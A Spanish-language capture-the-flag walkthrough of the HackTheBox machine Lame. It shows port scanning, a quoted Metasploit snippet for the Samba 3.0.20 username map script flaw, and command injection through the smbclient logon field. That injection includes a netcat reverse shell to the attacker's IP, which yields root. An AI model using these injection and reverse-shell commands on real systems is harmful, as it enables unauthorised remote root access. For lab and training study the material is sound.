¡Hola! Vamos a resolver de la máquina Lame
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- Samba 3.0.20 < 3.0.25rc3
- Username Map Script [Command Execution]
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Lame
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.3
PING 10.10.10.3 (10.10.10.3) 56(84) bytes of data.
64 bytes from 10.10.10.3: icmp_seq=1 ttl=63 time=42.3 ms
--- 10.10.10.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
7
8
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.3 -oG allPorts
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 63
22/tcp open ssh syn-ack ttl 63
139/tcp open netbios-ssn syn-ack ttl 63
445/tcp open microsoft-ds syn-ack ttl 63
3632/tcp open distccd syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
nmap -sCV -p21,22,139,445,3632 10.10.10.3 -oN targeted
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.14.64
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Reconocimiento Samba
Primero de todo vamos a buscar algún tipo de vulnerabilidad asociada a la versión 3.0.20 de Samba
1
2
3
4
5
6
7
8
9
10
11
searchsploit samba 3.0.20
-----------------------------------------------------------------------------------------------------------------------------------------------------
Exploit Title | Path
-----------------------------------------------------------------------------------------------------------------------------------------------------
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py
-----------------------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Results
Encontramos un script en Ruby para usar en Metasploit pero como vamos a hacerlo todo de forma manual vamos a echar un ojo al script a ver como explota la vulnerabilidad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def exploit
connect
# lol?
username = "/=`nohup " + payload.encoded + "`"
begin
simple.client.negotiate(false)
simple.client.session_setup_ntlmv1(username, rand_text(16), datastore['SMBDomain'], false)
rescue ::Timeout::Error, XCEPT::LoginError
# nothing, it either worked or it didn't ;)
end
handler
Podemos ver que utiliza el campo username
para inyectar un código + un payload. para tratar de aprovecharnos de esta vulnerabilidad vamos a seguir enumerando el servicio
Iniciamos la enumeración del servicio Samba que corre por el puerto 445. Primero de todo vamos a tratar de conocer todos los servicios compartidos a nivel de red empleando un NULL SESSION (-N)
debido a que aún no tenemos credenciales
1
2
❯ smbclient -L 10.10.10.3 -N
protocol negotiation failed: NT_STATUS_CONNECTION_DISCONNECTED
Vaya, parece que no le ha gustado. Buscamos en Google el error que nos muestra el output y rápidamente encontramos que añadiendo --option 'client min protocol = NT1'
ya no nos sale tal error
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ smbclient -L 10.10.10.3 -N --option 'client min protocol = NT1'
Anonymous login successful
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
tmp Disk oh noes!
opt Disk
IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.
Anonymous login successful
Server Comment
--------- -------
Workgroup Master
--------- -------
WORKGROUP LAME
Bien, ahora en lugar de listar vamos a tratar de conectarnos al recurso compartido tmp
1
2
3
4
❯ smbclient //10.10.10.3/tmp -N --option 'client min protocol = NT1'
Anonymous login successful
Try "help" to get a list of possible commands.
smb: \>
Llegados a este punto vamos a comprobar si nos podemos aprovechar del exploit que encontramos para tener ejcución remota de comandos (RCE). Para ello haremos uso del comando logon
el cual nos pide por parámetros usuario y password, donde en usuario inyectaremos el código observado en el exploit y como payload trataremos de enviarnos una traza ICMP a nuestro equipo. Nos ponemos en escucha en nuestro equipo con tcpdump
y ejecutamos el comando
1
2
3
4
smb: \> logon "/=`nohup ping -c 1 10.10.14.64`"
Password:
session setup failed: NT_STATUS_LOGON_FAILURE
smb: \>
1
2
3
4
5
❯ tcpdump -i tun0 icmp -n
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
17:22:13.456735 IP 10.129.80.170 > 10.10.14.64: ICMP echo request, id 51223, seq 1, length 64
17:22:13.456766 IP 10.10.14.64 > 10.10.10.3: ICMP echo reply, id 51223, seq 1, length 64
Genial! Habemus RCE!! Con la misma metodología y con la herramienta netcat nos ponemos en escucha en el puerto 443 para entablar una reverse shell con la máquina víctima y con privilegios de root!
1
2
3
4
smb: \> logon "/=`nohup nc -e /bin/bash 10.10.14.64 443`"
Password:
session setup failed: NT_STATUS_IO_TIMEOUT
smb: \>
1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.64] from (UNKNOWN) [10.10.10.3] 58893
whoami
root
Flags
Tras una búsqueda desde la raíz localizamos las flags en sus respectivos directorios. Con el comando cat
nos muestra el contenido.
1
2
3
4
5
#USER
find / -name user.txt
/home/makis/user.txt
cat /home/makis/user.txt
d67148095819deef3***************
1
2
3
4
5
#ROOT
find / -name root.txt
/root/root.txt
cat /root/root.txt
891c2d48be56c7f89***************
Hemos completado la máquina Lame de HackTheBox!! Happy Hacking!!